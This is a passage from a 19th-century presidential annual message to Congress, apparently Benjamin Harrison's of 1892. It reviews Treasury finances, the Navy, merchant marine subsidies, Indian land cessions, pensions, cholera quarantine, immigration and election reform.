promptly heeded by the Government of the Porte.\nInterference with the trading ventures of our citizens in Asia Minor is\nalso reported, and the lack of consular representation in that region is a\nserious drawback to instant and effective protection. I can not believe\nthat these incidents represent a settled policy, and shall not cease to\nurge the adoption of proper remedies.International copyright has been extended to Italy by proclamation in\nconformity with the act of March 3, 1891, upon assurance being given that\nItalian law permits to citizens of the United States the benefit of\ncopyright on substantially the same basis as to subjects of Italy. By a\nspecial convention proclaimed January 15, 1892, reciprocal provisions of\ncopyright have been applied between the United States and Germany.\nNegotiations are in progress with other countries to the same end.I repeat with great earnestness the recommendation which I have made in\nseveral previous messages that prompt and adequate support be given to the\nAmerican company engaged in the construction of the Nicaragua ship canal.\nIt is impossible to overstate the value from every standpoint of this great\nenterprise, and I hope that there may be time, even in this Congress, to\ngive to it an impetus that will insure the early completion of the canal\nand secure to the United States its proper relation to it when completed.The Congress has been already advised that the invitations of this\nGovernment for the assembling of an international monetary conference to\nconsider the question of an enlarged use of silver were accepted by the\nnations to which they were addressed. The conference assembled at Brussels\non the 22d of November, and has entered upon the consideration of this\ngreat question. I have not doubted, and have taken occasion to express that\nbelief as well in the invitations issued for this conference as in my\npublic messages, that the free coinage of silver upon an agreed\ninternational ratio would greatly promote the interests of our people and\nequally those of other nations. It is too early to predict what results may\nbe accomplished by the conference. If any temporary check or delay\nintervenes, I believe that very soon commercial conditions will compel the\nnow reluctant governments to unite with us in this movement to secure the\nenlargement of the volume of coined money needed for the transaction of the\nbusiness of the world.The report of the Secretary of the Treasury will attract especial interest\nin view of the many misleading statements that have been made as to the\nstate of the public revenues. Three preliminary facts should not only be\nstated but emphasized before looking into details: First, that the public\ndebt has been reduced since March 4, 1889, $259,074,200, and the annual\ninterest charge $11,684,469; second, that there have been paid out for\npensions during this Administration up to November 1, 1892,\n$432,564,178.70, an excess of $114,466,386.09 over the sum expended during\nthe period from March 1, 1885, to March 1, 1889; and, third, that under the\nexisting tariff up to December 1 about $93,000,000 of revenue which would\nhave been collected upon imported sugars if the duty had been maintained\nhas gone into the pockets of the people, and not into the public Treasury,\nas before. If there are any who still think that the surplus should have\nbeen kept out of circulation by hoarding it in the Treasury, or deposited\nin favored banks without interest while the Government continued to pay to\nthese very banks interest upon the bonds deposited as security for the\ndeposits, or who think that the extended pension legislation was a public\nrobbery, or that the duties upon sugar should have been maintained, I am\ncontent to leave the argument where it now rests while we wait to see\nwhether these criticisms will take the form of legislation.The revenues for the fiscal year ending June 30, 1892, from all sources\nwere $425,868,260.22, and the expenditures for all purposes were\n$415,953,806.56, leaving a balance of $9,914,453.66. There were paid during\nthe year upon the public debt $40,570,467.98. The surplus in the Treasury\nand the bank redemption fund passed by the act of July 14, 1890, to the\ngeneral fund furnished in large part the cash available and used for the\npayments made upon the public debt. Compared with the year 1891, our\nreceipts from customs duties fell off $42,069,241.08, while our receipts\nfrom internal revenue increased $8,284,823.13, leaving the net loss of\nrevenue from these principal sources $33,784,417.95. The net loss of\nrevenue from all sources was $32,675,972.81.The revenues, estimated and actual, for the fiscal year ending June 30,\n1893, are placed by the Secretary at $463,336,350.44, and the expenditures\nat $461,336,350.44, showing a surplus of receipts over expenditures of\n$2,000,000. The cash balance in the Treasury at the end of the fiscal year\nit is estimated will be $20,992,377.03. So far as these figures are based\nupon estimates of receipts and expenditures for the remaining months of the\ncurrent fiscal year, there are not only the usual elements of uncertainty,\nbut some added elements. New revenue legislation, or even the expectation\nof it, may seriously reduce the public revenues during the period of\nuncertainty and during the process of business adjustment to the new\nconditions when they become known. But the Secretary has very wisely\nrefrained from guessing as to the effect of possible changes in our revenue\nlaws, since the scope of those changes and the time of their taking effect\ncan not in any degree be forecast or foretold by him. His estimates must be\nbased upon existing laws and upon a continuance of existing business\nconditions, except so far as these conditions may be affected by causes\nother than new legislation.The estimated receipts for the fiscal year ending June 30, 1894, are\n$490,121,365.38, and the estimated appropriations $457,261,335.33, leaving\nan estimated surplus of receipts over expenditures of $32,860,030.05. This\ndoes not include any payment to the sinking fund. In the recommendation of\nthe Secretary that the sinking-fund law be repealed I concur. The\nredemption of bonds since the passage of the law to June 30, 1892, has\nalready exceeded the requirements by the sum of $990,510,681.49. The\nretirement of bonds in the future before maturity should be a matter of\nconvenience, not of compulsion. We should not collect revenue for that\npurpose, but only use any casual surplus. To the balance of $32,860,030.05\nof receipts over expenditures for the year 1894 should be added the\nestimated surplus at the beginning of the year, $20,992,377.03, and from\nthis aggregate there must be deducted, as stated by the Secretary, about\n$44,000,000 of estimated unexpended appropriations.The public confidence in the purpose and ability of the Government to\nmaintain the parity of all of our money issues, whether coin or paper, must\nremain unshaken. The demand for gold in Europe and the consequent calls\nupon us are in a considerable degree the result of the efforts of some of\nthe European Governments to increase their gold reserves, and these efforts\nshould be met by appropriate legislation on our part. The conditions that\nhave created this drain of the Treasury gold are in an important degree\npolitical, and not commercial. In view of the fact that a general revision\nof our revenue laws in the near future seems to be probable, it would be\nbetter that any changes should be a part of that revision rather than of a\ntemporary nature.During the last fiscal year the Secretary purchased under the act of July\n14, 1890, 54,355,748 ounces of silver and issued in payment therefor\n$51,106,608 in notes. The total purchases since the passage of the act have\nbeen 120,479,981 ounces and the aggregate of notes issued $116,783,590. The\naverage price paid for silver during the year was 94 cents per ounce, the\nhighest price being $1.02 3/4 July 1, 1891, and the lowest 83 cents March\n21, 1892. In view of the fact that the monetary conference is now sitting\nand that no conclusion has yet been reached, I withhold any recommendation\nas to legislation upon this subject.The report of the Secretary of War brings again to the attention of\nCongress some important suggestions as to the reorganization of the\ninfantry and artillery arms of the service, which his predecessors have\nbefore urgently presented. Our Army is small, but its organization should\nall the more be put upon the most approved modern basis. The conditions\nupon what we have called the \"frontier\" have heretofore required the\nmaintenance of many small posts, but now the policy of concentration is\nobviously the right one. The new posts should have the proper strategic\nrelations to the only \"frontiers\" we now have--those of the seacoast and of\nour northern and part of our southern boundary. I do not think that any\nquestion of advantage to localities or to States should determine the\nlocation of the new posts. The reorganization and enlargement of the Bureau\nof Military Information which the Secretary has effected is a work the\nusefulness of which will become every year more apparent. The work of\nbuilding heavy guns and the construction of coast defenses has been well\nbegun and should be carried on without check.The report of the Attorney-General is by law submitted directly to\nCongress, but I can not refrain from saying that he has conducted the\nincreasing work of the Department of Justice with great professional skill.\nHe has in several directions secured from the courts decisions giving\nincreased protection to the officers of the United States and bringing some\nclasses of crime that escaped local cognizance and punishment into the\ntribunals of the United States, where they could be tried with\nimpartiality.The numerous applications for Executive clemency presented in behalf of\npersons convicted in United States courts and given penitentiary sentences\nhave called my attention to a fact referred to by the Attorney-General in\nhis report, namely, that a time allowance for good behavior for such\nprisoners is prescribed by the Federal statutes only where the State in\nwhich the penitentiary is located has made no such provision. Prisoners are\ngiven the benefit of the provisions of the State law regulating the\npenitentiary to which they may be sent. These are various, some perhaps too\nliberal and some perhaps too illiberal. The result is that a sentence for\nfive years means one thing if the prisoner is sent to one State for\nconfinement and quite a different thing if he is sent to another. I\nrecommend that a uniform credit for good behavior be prescribed by\nCongress.I have before expressed my concurrence in the recommendation of the\nAttorney-General that degrees of murder should be recognized in the Federal\nstatutes, as they are, I believe, in all the States. These grades are\nrounded on correct distinctions in crime. The recognition of them would\nenable the courts to exercise some discretion in apportioning punishment\nand would greatly relieve the Executive of what is coming to be a very\nheavy burden--the examination of these cases on application for\ncommutation.The aggregate of claims pending against the Government in the Court of\nClaims is enormous. Claims to the amount of nearly $400,000,000 for the\ntaking of or injury to the property of persons claiming to be loyal during\nthe war are now before that court for examination. When to these are added\nthe Indian depredation claims and the French spoliation claims, an\naggregate is reached that is indeed startling. In the defense of all these\ncases the Government is at great disadvantage. The claimants have preserved\ntheir evidence, whereas the agents of the Government are sent into the\nfield to rummage for what they can find. This difficulty is peculiarly\ngreat where the fact to be established is the disloyalty of the claimant\nduring the war. If this great threat against our revenues is to have no\nother check, certainly Congress should supply the Department of Justice\nwith appropriations sufficiently liberal to secure the best legal talent in\nthe defense of these claims and to pursue its vague search for evidence\neffectively.The report of the Postmaster-General shows a most gratifying increase and a\nmost efficient and progressive management of the great business of that\nDepartment. The remarkable increase in revenues, in the number of\npost-offices, and in the miles of mail carriage furnishes further evidence\nof the high state of prosperity which our people are enjoying. New offices\nmean new hamlets and towns, new routes mean the extension of our border\nsettlements, and increased revenues mean an active commerce. The\nPostmaster-General reviews the whole period of his administration of the\noffice and brings some of his statistics down to the month of November\nlast. The postal revenues have increased during the last year nearly\n$5,000,000. The deficit for the year ending June 30, 1892, is $848,341 less\nthan the deficiency of the preceding year. The deficiency of the present\nfiscal year it is estimated will be reduced to $1,552,423, which will not\nonly be extinguished during the next fiscal year but a surplus of nearly\n$1,000,000 should then be shown. In these calculations the payments to be\nmade under the contracts for ocean mail service have not been included.\nThere have been added 1,590 new mail routes during the year, with a mileage\nof 8,563 miles, and the total number of new miles of mail trips added\nduring the year is nearly 17,000,000. The number of miles of mail journeys\nadded during the last four years is about 76,000,000, this addition being\n21,000,000 miles more than were in operation in the whole country in 1861.The number of post-offices has been increased by 2,790 during the year, and\nduring the past four years, and up to October 29 last, the total increase\nin the number of offices has been nearly 9,000. The number of free-delivery\noffices has been nearly doubled in the last four years, and the number of\nmoney-order offices more than doubled within that time.For the three years ending June 30, 1892, the postal revenue amounted to\n$197,744,359, which was an increase of $52,263,150 over the revenue for the\nthree years ending June 30, 1888, the increase during the last three years\nbeing more than three and a half times as great as the increase during the\nthree years ending June 30, 1888. No such increase as that shown for these\nthree years has ever previously appeared in the revenues of the Department.\nThe Postmaster-General has extended to the post-offices in the larger\ncities the merit system of promotion introduced by my direction into the\nDepartments here, and it has resulted there, as in the Departments, in a\nlarger volume of work and that better done.Ever since our merchant marine was driven from the sea by the rebel\ncruisers during the War of the Rebellion the United States has been paying\nan enormous annual tribute to foreign countries in the shape of freight and\npassage moneys. Our grain and meats have been taken at our own docks and\nour large imports there laid down by foreign shipmasters. An increasing\ntorrent of American travel to Europe has contributed a vast sum annually to\nthe dividends of foreign shipowners. The balance of trade shown by the\nbooks of our custom-houses has been very largely reduced and in many years\naltogether extinguished by this constant drain. In the year 1892 only 12.3\nper cent of our imports were brought in American vessels. These great\nforeign steamships maintained by our traffic are many of them under\ncontracts with their respective Governments by which in time of war they\nwill become a part of their armed naval establishments. Profiting by our\ncommerce in peace, they will become the most formidable destroyers of our\ncommerce in time of war. I have felt, and have before expressed the\nfeeling, that this condition of things was both intolerable and\ndisgraceful. A wholesome change of policy, and one having in it much\npromise, as it seems to me, was begun by the law of March 3, 1891. Under\nthis law contracts have been made by the Postmaster-General for eleven mail\nroutes. The expenditure involved by these contracts for the next fiscal\nyear approximates $954,123.33. As one of the results already reached\nsixteen American steamships, of an aggregate tonnage of 57,400 tons,\ncosting $7,400,000, have been built or contracted to be built in American\nshipyards.The estimated tonnage of all steamships required under existing contracts\nis 165,802, and when the full service required by these contracts is\nestablished there will be forty-one mail steamers under the American flag,\nwith the probability of further necessary additions in the Brazilian and\nArgentine service. The contracts recently let for transatlantic service\nwill result in the construction of five ships of 10,000 tons each, costing\n$9,000,000 to $10,000,000, and will add, with the City of New York and City\nof Paris, to which the Treasury Department was authorized by legislation at\nthe last session to give American registry, seven of the swiftest vessels\nupon the sea to our naval reserve. The contracts made with the lines\nsailing to Central and South American ports have increased the frequency\nand shortened the time of the trips, added new ports of call, and sustained\nsome lines that otherwise would almost certainly have been withdrawn. The\nservice to Buenos Ayres is the first to the Argentine Republic under the\nAmerican flag. The service to Southampton, Boulogne, and Antwerp is also\nnew, and is to be begun with the steamships City of New York and City of\nParis in February next.I earnestly urge the continuance of the policy inaugurated by this\nlegislation, and that the appropriations required to meet the obligations\nof the Government under the contracts may be made promptly, so that the\nlines that have entered into these engagements may not be embarrassed. We\nhave had, by reason of connections with the transcontinental railway lines\nconstructed through our own territory, some advantages in the ocean trade\nof the Pacific that we did not possess on the Atlantic. The construction of\nthe Canadian Pacific Railway and the establishment under large subventions\nfrom Canada and England of fast steamship service from Vancouver with Japan\nand China seriously threaten our shipping interests in the Pacific. This\nline of English steamers receives, as is stated by the Commissioner of\nNavigation, a direct subsidy of $400,000 annually, or $30,767 per trip for\nthirteen voyages, in addition to some further aid from the Admiralty in\nconnection with contracts under which the vessels may be used for naval\npurposes. The competing American Pacific mail line under the act of March\n3, 1891, receives only $6,389 per round trip.Efforts have been making within the last year, as I am informed, to\nestablish under similar conditions a line between Vancouver and some\nAustralian port, with a view of seizing there a trade in which we have had\na large interest. The Commissioner of Navigation states that a very large\nper cent of our imports from Asia are now brought to us by English\nsteamships and their connecting railways in Canada. With a view of\npromoting this trade, especially in tea, Canada has imposed a\ndiscriminating duty of 10 per cent upon tea and coffee brought into the\nDominion from the United States. If this unequal contest between American\nlines without subsidy, or with diminished subsidies, and the English\nCanadian line to which I have referred is to continue, I think we should at\nleast see that the facilities for customs entry and transportation across\nour territory are not such as to make the Canadian route a favored one, and\nthat the discrimination as to duties to which I have referred is met by a\nlike discrimination as to the importation of these articles from Canada.No subject, I think, more nearly touches the pride, the power, and the\nprosperity of our country than this of the development of our merchant\nmarine upon the sea. If we could enter into conference with other\ncompetitors and all would agree to withhold government aid, we could\nperhaps take our chances with the rest; but our great competitors have\nestablished and maintained their lines by government subsidies until they\nnow have practically excluded us from participation. In my opinion no\nchoice is left to us but to pursue, moderately at least, the same lines.The report of the Secretary of the Navy exhibits great progress in the\nconstruction of our new Navy. When the present Secretary entered upon his\nduties, only 3 modern steel vessels were in commission. The vessels since\nput in commission and to be put in commission during the winter will make a\ntotal of 19 during his administration of the Department. During the current\nyear 10 war vessels and 3 navy tugs have been launched, and during the four\nyears 25 vessels will have been launched. Two other large ships and a\ntorpedo boat are under contract and the work upon them well advanced, and\nthe 4 monitors are awaiting only the arrival of their armor, which has been\nunexpectedly delayed, or they would have been before this in commission.Contracts have been let during this Administration, under the\nappropriations for the increase of the Navy, including new vessels and\ntheir appurtenances, to the amount of $35,000,000, and there has been\nexpended during the same period for labor at navy-yards upon similar work\n$8,000,000 without the smallest scandal or charge of fraud or partiality.\nThe enthusiasm and interest of our naval officers, both of the staff and\nline, have been greatly kindled. They have responded magnificently to the\nconfidence of Congress and have demonstrated to the world an unexcelled\ncapacity in construction, in ordnance, and in everything involved in the\nbuilding, equipping, and sailing of great war ships.At the beginning of Secretary Tracy's administration several difficult\nproblems remained to be grappled with and solved before the efficiency in\naction of our ships could be secured. It is believed that as the result of\nnew processes in the construction of armor plate our later ships will be\nclothed with defensive plates of higher resisting power than are found on\nany war vessels afloat. We were without torpedoes. Tests have been made to\nascertain the relative efficiency of different constructions, a torpedo has\nbeen adopted, and the work of construction is now being carried on\nsuccessfully. We were without armor-piercing shells and without a shop\ninstructed and equipped for the construction of them. We are now making\nwhat is believed to be a projectile superior to any before in use. A\nsmokeless powder has been developed and a slow-burning powder for guns of\nlarge caliber. A high explosive capable of use in shells fired from service\nguns has been found, and the manufacture of gun cotton has been developed\nso that the question of supply is no longer in doubt.The development of a naval militia, which has been organized in eight\nStates and brought into cordial and cooperative relations with the Navy, is\nanother important achievement. There are now enlisted in these\norganizations 1,800 men, and they are likely to be greatly extended. I\nrecommend such legislation and appropriations as will encourage and develop\nthis movement. The recommendations of the Secretary will, I do not doubt,\nreceive the friendly consideration of Congress, for he has enjoyed, as he\nhas deserved, the confidence of all those interested in the development of\nour Navy, without any division upon partisan lines. I earnestly express the\nhope that a work which has made such noble progress may not now be stayed.\nThe wholesome influence for peace and the increased sense of security which\nour citizens domiciled in other lands feel when these magnificent ships\nunder the American flag appear is already most gratefully apparent. The\nships from our Navy which will appear in the great naval parade next April\nin the harbor of New York will be a convincing demonstration to the world\nthat the United States is again a naval power.The work of the Interior Department, always very burdensome, has been\nlarger than ever before during the administration of Secretary Noble. The\ndisability-pension law, the taking of the Eleventh Census, the opening of\nvast areas of Indian lands to settlement, the organization of Oklahoma, and\nthe negotiations for the cession of Indian lands furnish some of the\nparticulars of the increased work, and the results achieved testify to the\nability, fidelity, and industry of the head of the Department and his\nefficient assistants.Several important agreements for the cession of Indian lands negotiated by\nthe commission appointed under the act of March 2, 1889, are awaiting the\naction of Congress. Perhaps the most important of these is that for the\ncession of the Cherokee Strip. This region has been the source of great\nvexation to the executive department and of great friction and unrest\nbetween the settlers who desire to occupy it and the Indians who assert\ntitle. The agreement which has been made by the commission is perhaps the\nmost satisfactory that could have been reached. It will be noticed that it\nis conditioned upon its ratification by Congress before March 4, 1893. The\nSecretary of the Interior, who has given the subject very careful thought,\nrecommends the ratification of the agreement, and I am inclined to follow\nhis recommendation. Certain it is that some action by which this\ncontroversy shall be brought to an end and these lands opened to settlement\nis urgent.The form of government provided by Congress on May 17, 1884, for Alaska was\nin its frame and purpose temporary. The increase of population and the\ndevelopment of some important mining and commercial interests make it\nimperative that the law should be revised and better provision made for the\narrest and punishment of criminals.The report of the Secretary shows a very gratifying state of facts as to\nthe condition of the General Land Office. The work of issuing agricultural\npatents, which seemed to be hopelessly in arrear when the present Secretary\nundertook the duties of his office, has been so expedited that the bureau\nis now upon current business. The relief thus afforded to honest and worthy\nsettlers upon the public lands by giving to them an assured title to their\nentries has been of incalculable benefit in developing the new States and\nthe Territories.The Court of Private Land Claims, established by Congress for the promotion\nof this policy of speedily settling contested land titles, is making\nsatisfactory progress in its work, and when the work is completed a great\nimpetus will be given to the development of those regions where unsettled\nclaims under Mexican grants have so long exercised their repressive\ninfluence. When to these results are added the enormous cessions of Indian\nlands which have been opened to settlement, aggregating during this\nAdministration nearly 26,000,000 acres, and the agreements negotiated and\nnow pending in Congress for ratification by which about 10,000,000\nadditional acres will be opened to settlement, it will be seen how much has\nbeen accomplished.The work in the Indian Bureau in the execution of the policy of recent\nlegislation has been largely directed to two chief purposes: First, the\nallotment of lands in severalty to the Indians and the cession to the\nUnited States of the surplus lands, and, secondly, to the work of educating\nthe Indian for his own protection in his closer contact with the white man\nand for the intelligent exercise of his new citizenship. Allotments have\nbeen made and patents issued to 5,900 Indians under the present Secretary\nand Commissioner, and 7,600 additional allotments have been made for which\npatents are now in process of preparation. The school attendance of Indian\nchildren has been increased during that time over 13 per cent, the\nenrollment for 1892 being nearly 20,000. A uniform system of school\ntext-books and of study has been adopted and the work in these national\nschools brought as near as may be to the basis of the free common schools\nof the States. These schools can be transferred and merged into the\ncommon-school systems of the States when the Indian has fully assumed his\nnew relation to the organized civil community in which he resides and the\nnew States are able to assume the burden. I have several times been called\nupon to remove Indian agents appointed by me, and have done so promptly\nupon every sustained complaint of unfitness or misconduct. I believe,\nhowever, that the Indian service at the agencies has been improved and is\nnow administered on the whole with a good degree of efficiency. If any\nlegislation is possible by which the selection of Indian agents can be\nwholly removed from all partisan suggestions or considerations, I am sure\nit would be a great relief to the Executive and a great benefit to the\nservice. The appropriation for the subsistence of the Cheyenne and Arapahoe\nIndians made at the last session of Congress was inadequate. This smaller\nappropriation was estimated for by the Commissioner upon the theory that\nthe large fund belonging to the tribe in the public Treasury could be and\nought to be used for their support. In view, however, of the pending\ndepredation claims against this fund and other considerations, the\nSecretary of the Interior on the 12th of April last submitted a\nsupplemental estimate for $50,000. This appropriation was not made, as it\nshould have been, and the oversight ought to be remedied at the earliest\npossible date.In a special message to this Congress at the last session, I stated the\nreasons why I had not approved the deed for the release to the United\nStates by the Choctaws and Chickasaws of the lands formerly embraced in the\nCheyenne and Arapahoe Reservation and remaining after allotments to that\ntribe. A resolution of the Senate expressing the opinion of that body that\nnotwithstanding the facts stated in my special message the deed should be\napproved and the money, $2,991,450, paid over was presented to me May 10,\n1892. My special message was intended to call the attention of Congress to\nthe subject, and in view of the fact that it is conceded that the\nappropriation proceeded upon a false basis as to the amount of lands to be\npaid for and is by $50,000 in excess of the amount they are entitled to\n(even if their claim to the land is given full recognition at the rate\nagreed upon), I have not felt willing to approve the deed, and shall not do\nso, at least until both Houses of Congress have acted upon the subject. It\nhas been informally proposed by the claimants to release this sum of\n$50,000, but I have no power to demand or accept such a release, and such\nan agreement would be without consideration and void.I desire further to call the attention of Congress to the fact that the\nrecent agreement concluded with the Kiowas and Comanches relates to lands\nwhich were a part of the \"leased district,\" and to which the claim of the\nChoctaws and Chickasaws is precisely that recognized by Congress in the\nlegislation I have referred to. The surplus lands to which this claim would\nattach in the Kiowa and Comanche Reservation is 2,500,000 acres, and at the\nsame rate the Government will be called upon to pay to the Choctaws and\nChickasaws for these lands $3,125,000. This sum will be further augmented,\nespecially if the title of the Indians to the tract now Greet County, Tex.,\nis established. The duty devolved upon me in this connection was simply to\npass upon the form of the deed; but as in my opinion the facts mentioned in\nmy special message were not adequately brought to the attention of Congress\nin connection with the legislation, I have felt that I would not be\njustified in acting without some new expression of the legislative will.The report of the Commissioner of Pensions, to which extended notice is\ngiven by the Secretary of the Interior in his report, will attract great\nattention. Judged by the aggregate amount of work done, the last year has\nbeen the greatest in the history of the office. I believe that the\norganization of the office is efficient and that the work has been done\nwith fidelity. The passage of what is known as the disability bill has, as\nwas foreseen, very largely increased the annual disbursements to the\ndisabled veterans of the Civil War. The estimate for this fiscal year was\n$144,956,000, and that amount was appropriated. A deficiency amounting to\n$10,508,621 must be provided for at this session. The estimate for pensions\nfor the fiscal year ending June 30, 1894, is $165,000,000. The Commissioner\nof Pensions believes that if the present legislation and methods are\nmaintained and further additions to the pension laws are not made the\nmaximum expenditure for pensions will be reached June 30, 1894, and will be\nat the highest point $188,000,000 per annum.I adhere to the views expressed in previous messages that the care of the\ndisabled soldiers of the War of the Rebellion is a matter of national\nconcern and duty. Perhaps no emotion cools sooner than that of gratitude,\nbut I can not believe that this process has yet reached a point with our\npeople that would sustain the policy of remitting the care of these\ndisabled veterans to the inadequate agencies provided by local laws. The\nparade on the 20th of September last upon the streets of this capital of\n60,000 of the surviving Union veterans of the War of the Rebellion was a\nmost touching and thrilling episode, and the rich and gracious welcome\nextended to them by the District of Columbia and the applause that greeted\ntheir progress from tens of thousands of people from all the States did\nmuch to revive the glorious recollections of the Grand Review when these\nmen and many thousand others now in their graves were welcomed with\ngrateful joy as victors in a struggle in which the national unity, honor,\nand wealth were all at issue.In my last annual message I called attention to the fact that some\nlegislative action was necessary in order to protect the interests of the\nGovernment in its relations with the Union Pacific Railway. The\nCommissioner of Railroads has submitted a very full report, giving exact\ninformation as to the debt, the liens upon the company's property, and its\nresources. We must deal with the question as we find it and take that\ncourse which will under existing conditions best secure the interests of\nthe United States. I recommended in my last annual message that a\ncommission be appointed to deal with this question, and I renew that\nrecommendation and suggest that the commission be given full power.The report of the Secretary of Agriculture contains not only a most\ninteresting statement of the progressive and valuable work done under the\nadministration of Secretary Rusk, but many suggestions for the enlarged\nusefulness of this important Department. In the successful efforts to break\ndown the restrictions to the free introduction of our meat products in the\ncountries of Europe the Secretary has been untiring from the first,\nstimulating and aiding all other Government officers at home and abroad\nwhose official duties enabled them to participate in the work. The total\ntrade in hog products with Europe in May, 1892, amounted to 82,000,000\npounds, against 46,900,000 in the same month of 1891; in June, 1892, the\nexport aggregated 85,700,000 pounds, against 46,500,000 pounds in the same\nmonth of the previous year; in July there was an increase of 41 per cent\nand in August of 55 per cent over the corresponding months of 1891. Over\n40,000,000 pounds of inspected pork have been exported since the law was\nput into operation, and a comparison of the four months of May, June, July,\nand August, 1892, with the same months of 1891 shows an increase in the\nnumber of pounds of our export of pork products of 62 per cent and an\nincrease in value of 66 1/2 per cent. The exports of dressed beef increased\nfrom 137,900,000 pounds in 1889 to 220,500,000 pounds in 1892 or about 60\nper cent. During the past year there have been exported 394,607 head of\nlive cattle, as against 205,786 exported in 1889. This increased\nexportation has been largely promoted by the inspection authorized by law\nand the faithful efforts of the Secretary and his efficient subordinates to\nmake that inspection thorough and to carefully exclude from all cargoes\ndiseased or suspected cattle. The requirement of the English regulations\nthat live cattle arriving from the United States must be slaughtered at the\ndocks had its origin in the claim that pleuro-pneumonia existed among\nAmerican cattle and that the existence of the disease could only certainly\nbe determined by a post mortem inspection.The Department of Agriculture has labored with great energy and\nfaithfulness to extirpate this disease, and on the 26th day of September\nlast a public announcement was made by the Secretary that the disease no\nlonger existed anywhere within the United States. He is entirely satisfied\nafter the most searching inquiry that this statement was justified, and\nthat by a continuance of the inspection and quarantine now required of\ncattle brought into this country the disease can be prevented from again\ngetting any foothold. The value to the cattle industry of the United States\nof this achievement can hardly be estimated. We can not, perhaps, at once\ninsist that this evidence shall be accepted as satisfactory by other\ncountries; but if the present exemption from the disease is maintained and\nthe inspection of our cattle arriving at foreign ports, in which our own\nveterinarians participate, confirms it, we may justly expect that the\nrequirement that our cattle shall be slaughtered at the docks will be\nrevoked, as the sanitary restrictions upon our pork products have been. If\nour cattle can be taken alive to the interior, the trade will be enormously\nincreased.Agricultural products constituted 78.1 per cent of our unprecedented\nexports for the fiscal year which closed June 30, 1892, the total exports\nbeing $1,030,278,030 and the value of the agricultural products\n$793,717,676, which exceeds by more than $150,000,000 the shipment of\nagricultural products in any previous year.An interesting and a promising work for the benefit of the American farmer\nhas been begun through agents of the Agricultural Department in Europe, and\nconsists in efforts to introduce the various products of Indian corn as\narticles of human food. The high price of rye offered a favorable\nopportunity for the experiment in Germany of combining corn meal with rye\nto produce a cheaper bread. A fair degree of success has been attained, and\nsome mills for grinding corn for food have been introduced. The Secretary\nis of the opinion that this new use of the products of corn has already\nstimulated exportations, and that if diligently prosecuted large and\nimportant markets can presently be opened for this great American product.The suggestions of the Secretary for an enlargement of the work of the\nDepartment are commended to your favorable consideration. It may, I think,\nbe said without challenge that in no corresponding period has so much been\ndone as during the last four years for the benefit of American\nagriculture.The subject of quarantine regulations, inspection, and control was brought\nsuddenly to my attention by the arrival at our ports in August last of\nvessels infected with cholera. Quarantine regulations should be uniform at\nall our ports. Under the Constitution they are plainly within the exclusive\nFederal jurisdiction when and so far as Congress shall legislate. In my\nopinion the whole subject should be taken into national control and\nadequate power given to the Executive to protect our people against plague\ninvasions. On the 1st of September last I approved regulations establishing\na twenty-day quarantine for all vessels bringing immigrants from foreign\nports. This order will be continued in force. Some loss and suffering have\nresulted to passengers, but a due care for the homes of our people\njustifies in such cases the utmost precaution. There is danger that with\nthe coming of spring cholera will again appear, and a liberal appropriation\nshould be made at this session to enable our quarantine and port officers\nto exclude the deadly plague.But the most careful and stringent quarantine regulations may not be\nsufficient absolutely to exclude the disease. The progress of medical and\nsanitary science has been such, however, that if approved precautions are\ntaken at once to put all of our cities and towns in the best sanitary\ncondition, and provision is made for isolating any sporadic cases and for a\nthorough disinfection, an epidemic can, I am sure, be avoided. This work\nappertains to the local authorities, and the responsibility and the penalty\nwill be appalling if it is neglected or unduly delayed.We are peculiarly subject in our great ports to the spread of infectious\ndiseases by reason of the fact that unrestricted immigration brings to us\nout of European cities, in the overcrowded steerages of great steamships, a\nlarge number of persons whose surroundings make them the easy victims of\nthe plague. This consideration, as well as those affecting the political,\nmoral, and industrial interests of our country, leads me to renew the\nsuggestion that admission to our country and to the high privileges of its\ncitizenship should be more restricted and more careful. We have, I think, a\nright and owe a duty to our own people, and especially to our working\npeople, not only to keep out the vicious, the ignorant, the civil\ndisturber, the pauper, and the contract laborer, but to check the too great\nflow of immigration now coming by further limitations.The report of the World's Columbian Exposition has not yet been submitted.\nThat of the board of management of the Government exhibit has been received\nand is herewith transmitted. The work of construction and of preparation\nfor the opening of the exposition in May next has progressed most\nsatisfactorily and upon a scale of liberality and magnificence that will\nworthily sustain the honor of the United States.The District of Columbia is left by a decision of the supreme court of the\nDistrict without any law regulating the liquor traffic. An old statute of\nthe legislature of the District relating to the licensing of various\nvocations has hitherto been treated by the Commissioners as giving them\npower to grant or refuse licenses to sell intoxicating liquors and as\nsubjecting those who sold without licenses to penalties; but in May last\nthe supreme court of the District held against this view of the powers of\nthe Commissioners. It is of urgent importance, therefore, that Congress\nshould supply, either by direct enactment or by conferring discretionary\npowers upon the Commissioners, proper limitations and restraints upon the\nliquor traffic in the District. The District has suffered in its reputation\nby many crimes of violence, a large per cent of them resulting from\ndrunkenness and the liquor traffic. The capital of the nation should be\nfreed from this reproach by the enactment of stringent restrictions and\nlimitations upon the traffic.In renewing the recommendation which I have made in three preceding annual\nmessages that Congress should legislate for the protection of railroad\nemployees against the dangers incident to the old and inadequate methods of\nbraking and coupling which are still in use upon freight trains, I do so\nwith the hope that this Congress may take action upon the subject.\nStatistics furnished by the Interstate Commerce Commission show that during\nthe year ending June 30, 1891, there were forty-seven different styles of\ncar couplers reported to be in use, and that during the same period there\nwere 2,660 employees killed and 26,140 injured. Nearly 16 per cent of the\ndeaths occurred in the coupling and uncoupling of cars and over 36 per cent\nof the injuries had the same origin.The Civil Service Commission ask for an increased appropriation for needed\nclerical assistance, which I think should be given. I extended the\nclassified service March 1, 1892, to include physicians, superintendents,\nassistant superintendents, school-teachers, and matrons in the Indian\nservice, and have had under consideration the subject of some further\nextensions, but have not as yet fully determined the lines upon which\nextensions can most properly and usefully be made.I have in each of the three annual messages which it has been my duty to\nsubmit to Congress called attention to the evils and dangers connected with\nour election methods and practices as they are related to the choice of\nofficers of the National Government. In my last annual message I endeavored\nto invoke serious attention to the evils of unfair apportionments for\nCongress. I can not close this message without again calling attention to\nthese grave and threatening evils. I had hoped that it was possible to\nsecure a nonpartisan inquiry by means of a commission into evils the\nexistence of which is known to all, and that out of this might grow\nlegislation from which all thought of partisan advantage should be\neliminated and only the higher thought appear of maintaining the freedom\nand purity of the ballot and the equality of the elector, without the\nguaranty of which the Government could never have been formed and without\nthe continuance of which it can not continue to exist in peace and\nprosperity.It is time that mutual charges of unfairness and fraud between the great\nparties should cease and that the sincerity of those who profess a desire\nfor pure and honest elections should be brought to the test of their\nwillingness to free our legislation and our election methods from\neverything that tends to impair the public confidence in the announced\nresult. The necessity for an inquiry and for legislation by Congress upon\nthis subject is emphasized by the fact that the tendency of the legislation\nin some 